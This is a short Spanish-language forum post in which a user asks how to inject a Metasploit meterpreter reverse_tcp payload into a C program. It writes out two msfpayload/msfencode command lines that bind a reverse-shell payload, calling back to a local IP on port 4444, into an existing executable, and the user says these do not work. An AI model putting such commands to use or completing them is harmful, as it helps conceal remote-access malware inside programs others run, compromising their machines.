Inyectar payload en programa en C

Iniciado por mester, 6 Abril 2015, 01:07 AM

0 Miembros y 1 Visitante están viendo este tema.

mester

Hola.

Ultimamente he estado experimentando con msfpayload con eso de hacer payloads y tal. El caso es que me gustaría inyectar codigo de un payload en un programa. Espero que me podais ayudar. Por ejemplo, he probado esto:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.0 LPORT=4444 R | msfencode -e (el encode que sea) -t exe -x programa.exe -k -o payload.exe

Siendo "programa.exe" un programa creado en C. Y no me funciona xd
También he probado cosas como:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.0 LPORT=4444 R | msfencode -e (el encode que sea) -t c -x programa.exe -k -o hola.c

y vuelca en un fichero un codigo, que no se que hacer con él, ¿Me podríais ayudar?
Me gustaría saber como inyectar el payload en el programa en C.
Justicia es dar a cada uno lo que se merece